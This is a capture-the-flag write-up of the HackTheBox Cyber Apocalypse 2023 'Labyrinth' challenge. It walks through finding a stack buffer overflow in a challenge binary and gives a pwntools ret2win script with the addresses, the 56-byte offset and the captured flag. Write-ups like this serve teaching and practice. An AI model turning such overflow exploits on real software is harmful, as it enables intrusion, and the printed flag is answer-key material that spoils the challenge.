HackTheBox Cyber Apocalypse 2023
You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.
Analysis
Exploring the immediate program, it’s hard to tell what may be going on, so we’ll open it in Ghidra right off the bat;
Here we can see that the first input is compared to ‘69’ or ‘069’, then the second input is taken with fgets as a buffer size of 0x44 (potentially buffer overflow there) – followed by an immediate message saying “you failed”.
Let’s try to run the program with that information and see what we get;
It looks like we’re on the right track with a buffer overflow!
While we still have Ghidra open, let’s see what other information we can find. Mainly a function to point our stack to for our overflow;
This looks like the function we want to execute, now to just find the address of that function;
Now we can open our program in gdb-peda and look for the offset to begin constructing our payload for the buffer overflow attack;
Steps to build payload;
Solution
We’ll compile this info into a python script to avoid any issues with inputting binary data;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
from pwn import *
#io = remote('ip','port) # change to ip & port to run remotely
io = process('./labyrinth')
pntr_addr = 0x00401255 # escape_plan() address
ret_addr = 0x401602 # return address
# Craft the payload
payload = b'A' * 56 # our buffer padding
payload += p64(ret_addr) + p64(pntr_addr)
# send payload
io.sendline(b'069')
io.sendlineafter('>> ', payload)
io.interactive()
Uncomment our remote connection and comment out our local one, adjust the port & IP, and we get our flag!
Flag HTB{3sc4p3_fr0m_4b0v3}
Comments powered by Disqus.